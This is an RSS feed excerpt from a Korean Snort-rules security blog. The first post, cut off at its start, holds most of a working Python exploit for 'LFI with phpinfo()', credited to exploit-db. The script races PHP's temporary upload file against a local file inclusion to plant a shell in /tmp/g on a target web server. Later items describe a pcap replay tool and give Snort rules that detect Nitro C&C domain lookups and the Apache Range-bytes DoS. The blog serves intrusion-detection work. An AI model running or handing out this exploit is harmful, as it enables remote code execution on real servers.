<p><span style="font-family:맑은 고딕;font-size:x-small;">User-Agent: Mozilla/4.0\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Proxy-Connection: Keep-Alive\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">Host: %s\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">\r</span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">&#8220;&#8221;"</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    return (REQ1, TAG, LFIREQ)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s.connect((host, port))</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s2.connect((host, port))</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s.send(phpinforeq)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    d = &#8220;&#8221;</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    while len(d) &lt; offset:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        d += s.recv(offset)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            i = d.index(&#8220;[tmp_name] =&amp;gt&#8221;)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            fn = d[i+17:i+31]</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        except ValueError:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            return None</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        s2.send(lfireq % (fn, host))</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        d = s2.recv(4096)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        s.close()</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        s2.close()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        if d.find(tag) != -1:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            return fn</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">        </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">counter=0        </span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">class ThreadWorker(threading.Thread):</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    def __init__(self, e, l, m, *args):</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        threading.Thread.__init__(self)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        self.event = e</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        self.lock = l</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        self.maxattempts = m</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        self.args = args</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    def run(self):</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        global counter</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        while not self.event.is_set():</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            with self.lock:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                if counter &gt;= self.maxattempts:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                    return</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                counter+=1</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                x = phpInfoLFI(*self.args)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                if self.event.is_set():</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                    break</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                    if x:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                        print &#8220;\nGot it! Shell created in /tmp/g&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                        self.event.set()</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            except socket.error:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                return</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">            </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">def getOffset(host, port, phpinforeq):</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    &#8220;&#8221;"Gets offset of tmp_name in the php output&#8221;"&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s.connect((host,port))</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s.send(phpinforeq)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    d = &#8220;&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    while True:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        i = s.recv(4096)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        d+=i</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        if i == &#8220;&#8221;:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            break</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        # detect the final chunk</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        if i.endswith(&#8220;0\r\n\r\n&#8221;):</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            break</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    s.close()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">    </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    i = d.find(&#8220;[tmp_name] =&amp;gt&#8221;)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    if i == -1:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        raise ValueError(&#8220;No php tmp_name in phpinfo output&#8221;)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    print &#8220;found %s at %i&#8221; % (d[i:i+10],i)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    # padded up a bit</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    return i+256</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">def main():</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    print &#8220;LFI With PHPInfo()&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    print &#8220;-=&#8221; * 30</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    if len(sys.argv) &lt; 2:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;Usage: %s host [port] [threads]&#8221; % sys.argv[0]</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        sys.exit(1)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        host = socket.gethostbyname(sys.argv[1])</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except socket.error, e:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;Error with hostname %s: %s&#8221; % (sys.argv[1], e)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        sys.exit(1)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    port=80</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        port = int(sys.argv[2])</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except IndexError:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        pass</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except ValueError, e:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;Error with port %d: %s&#8221; % (sys.argv[2], e)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        sys.exit(1)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    poolsz=10</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        poolsz = int(sys.argv[3])</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except IndexError:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        pass</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except ValueError, e:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;Error with poolsz %d: %s&#8221; % (sys.argv[3], e)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        sys.exit(1)</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">        </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    print &#8220;Getting initial offset&#8230;&#8221;,</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    reqphp, tag, reqlfi = setup(host, port)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    offset = getOffset(host, port, reqphp)</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    sys.stdout.flush()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    maxattempts = 1000</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    e = threading.Event()</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    l = threading.Lock()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    print &#8220;Spawning worker pool (%d)&#8230;&#8221; % poolsz</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    sys.stdout.flush()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    tp = []</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    for i in range(0,poolsz):</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">        </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    for t in tp:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        t.start()</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    try:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        while not e.wait(1):</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            if e.is_set():</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                break</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            with l:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                sys.stdout.write( &#8220;\r% 4d / % 4d&#8221; % (counter, maxattempts))</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                sys.stdout.flush()</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                if counter &gt;= maxattempts:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">                    break</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        if e.is_set():</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            print &#8220;Woot! \m/&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        else:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            print &#8220;:(&#8220;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    except KeyboardInterrupt:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;\nTelling threads to shutdown&#8230;&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        e.set()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        print &#8220;Shuttin&#8217; down&#8230;&#8221;</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">        for t in tp:</span></span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">            t.join()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">            </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;">if __name__==&#8221;__main__&#8221;:</span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">    main()</span></span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></td>
</tr>
</tbody>
</table>
<p><span style="font-family:맑은 고딕;font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;"><span style="font-family:맑은 고딕;">참조 : <a href="http://www.exploit-db.com/download_pdf/17799"><span style="color:#0000ff;">http://www.exploit-db.com/download_pdf/17799</span></a></span></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/509/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=509&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/12/23/%eb%b2%88%ec%97%ad-%ef%bb%bflfi-with-phpinfo-assistance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/302944e9ea6e11655dfc7e49118c0a84?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">insidej</media:title>
		</media:content>
	</item>
		<item>
		<title>pcap 파일 재생툴</title>
		<link>http://snortrules.wordpress.com/2011/11/21/pcap-%ed%8c%8c%ec%9d%bc-%ec%9e%ac%ec%83%9d%ed%88%b4/</link>
		<comments>http://snortrules.wordpress.com/2011/11/21/pcap-%ed%8c%8c%ec%9d%bc-%ec%9e%ac%ec%83%9d%ed%88%b4/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 07:20:19 +0000</pubDate>
		<dc:creator>kimms17</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=501</guid>
		<description><![CDATA[아래 링크에서 다운로드 할 수 있다. http://certteamfast.blogspot.com/2011/11/tool-replaypcap.html &#160; 이 툴의 특징으로는 다음과같다. 기존 tcpreplay는 리눅스용 툴로써 UI가 없다. 이 툴은 UI를 제공한다. blade informer라는 제품은 상용이나 이 툴은 무료이다. 마지막으로 가장 큰 특징은 ipv4 패킷을 ipv6로 돌려준다는 점이다. 국내 네트워크, 보안제품들이 ipv6를 지원해야 하는 시점에서 좋은 툴이 될 수 있을듯 보인다. 사용기는 추후에&#8230;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=501&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>아래 링크에서 다운로드 할 수 있다.</p>
<p><a href="http://certteamfast.blogspot.com/2011/11/tool-replaypcap.html">http://certteamfast.blogspot.com/2011/11/tool-replaypcap.html</a></p>
<p>&nbsp;</p>
<p>이 툴의 특징으로는 다음과같다.</p>
<p>기존 tcpreplay는 리눅스용 툴로써 UI가 없다. 이 툴은 UI를 제공한다.</p>
<p>blade informer라는 제품은 상용이나 이 툴은 무료이다.</p>
<p>마지막으로 가장 큰 특징은 ipv4 패킷을 ipv6로 돌려준다는 점이다. 국내 네트워크, 보안제품들이 ipv6를 지원해야 하는 시점에서 좋은 툴이 될 수 있을듯 보인다.</p>
<p>사용기는 추후에&#8230;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/501/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/501/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=501&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/11/21/pcap-%ed%8c%8c%ec%9d%bc-%ec%9e%ac%ec%83%9d%ed%88%b4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5289e16f0e2ff017f202c851f8952740?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">kimms17</media:title>
		</media:content>
	</item>
		<item>
		<title>Nitro 관련 C&amp;C 도메인 쿼리 탐지</title>
		<link>http://snortrules.wordpress.com/2011/11/02/nitro-%ea%b4%80%eb%a0%a8-cc-%eb%8f%84%eb%a9%94%ec%9d%b8-%ec%bf%bc%eb%a6%ac-%ed%83%90%ec%a7%80/</link>
		<comments>http://snortrules.wordpress.com/2011/11/02/nitro-%ea%b4%80%eb%a0%a8-cc-%eb%8f%84%eb%a9%94%ec%9d%b8-%ec%bf%bc%eb%a6%ac-%ed%83%90%ec%a7%80/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 07:03:28 +0000</pubDate>
		<dc:creator>kimms17</dc:creator>
				<category><![CDATA[Hot issue]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=497</guid>
		<description><![CDATA[alert udp any any -&#62; any 53 (content:&#8221;&#124;10&#124;antivirus-groups&#124;03&#124;com&#124;00&#124;&#8221;; nocase;) alert udp any any -&#62; any 53 (content:&#8221;&#124;06&#124;domain&#124;03&#124;rm6&#124;03&#124;org&#124;00&#124;&#8221;; nocase;) alert udp any any -&#62; any 53 (content:&#8221;&#124;0a&#124;anti-virus&#124;05&#124;sytes&#124;03&#124;net&#124;00&#124;&#8221;; nocase;)<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=497&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p lang="en-US">alert udp any any -&gt; any 53 (content:&#8221;|10|antivirus-groups|03|com|00|&#8221;; nocase;)</p>
<p lang="en-US">alert udp any any -&gt; any 53 (content:&#8221;|06|domain|03|rm6|03|org|00|&#8221;; nocase;)</p>
<p lang="en-US">alert udp any any -&gt; any 53 (content:&#8221;|0a|anti-virus|05|sytes|03|net|00|&#8221;; nocase;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/497/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/497/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/497/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=497&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/11/02/nitro-%ea%b4%80%eb%a0%a8-cc-%eb%8f%84%eb%a9%94%ec%9d%b8-%ec%bf%bc%eb%a6%ac-%ed%83%90%ec%a7%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5289e16f0e2ff017f202c851f8952740?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">kimms17</media:title>
		</media:content>
	</item>
		<item>
		<title>apache Dos Vulnerability (Range bytes) &#8211; rev:2</title>
		<link>http://snortrules.wordpress.com/2011/08/27/apache-dos-vulnerability-range-bytes/</link>
		<comments>http://snortrules.wordpress.com/2011/08/27/apache-dos-vulnerability-range-bytes/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 03:22:47 +0000</pubDate>
		<dc:creator>kimms17</dc:creator>
				<category><![CDATA[Hot issue]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=488</guid>
		<description><![CDATA[exploit http://seclists.org/fulldisclosure/2011/Aug/175 취약점 : 대량의 Range byte 필드 이 후 accept-encoding 헤더 탐지룰 : alert tcp any any -&#62; any $HTTP_PORT (content:&#8221;&#124;0d0a&#124;Range&#124;3a&#124;&#8221;; nocase; pcre:&#8221;/^Range\x3a\s*bytes\s*\x3d\s*[^\r\n]{500,}/im&#8221;; threshold:type both, track by_dst, count 20, seconds 5;) false positive : Range byte의 값이 500자가 넘지만 정상인경우도 있을 수 있음. Range: bytes 이후 accept-encoding 헤더가 존재할경우만. rev:2 추가 &#8211; 임계치 설정.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=488&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>exploit <a href="http://seclists.org/fulldisclosure/2011/Aug/175">http://seclists.org/fulldisclosure/2011/Aug/175</a></p>
<p>취약점 : 대량의 Range byte 필드 이 후 accept-encoding 헤더</p>
<p>탐지룰 :</p>
<p>alert tcp any any -&gt; any $HTTP_PORT (content:&#8221;|0d0a|Range|3a|&#8221;; nocase; pcre:&#8221;/^Range\x3a\s*bytes\s*\x3d\s*[^\r\n]{500,}/im&#8221;; threshold:type both, track by_dst, count 20, seconds 5;)</p>
<p>false positive : Range byte의 값이 500자가 넘지만 정상인경우도 있을 수 있음. Range: bytes 이후 accept-encoding 헤더가 존재할경우만.</p>
<p>rev:2 추가 &#8211; 임계치 설정.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/488/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/488/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/488/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=488&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/08/27/apache-dos-vulnerability-range-bytes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
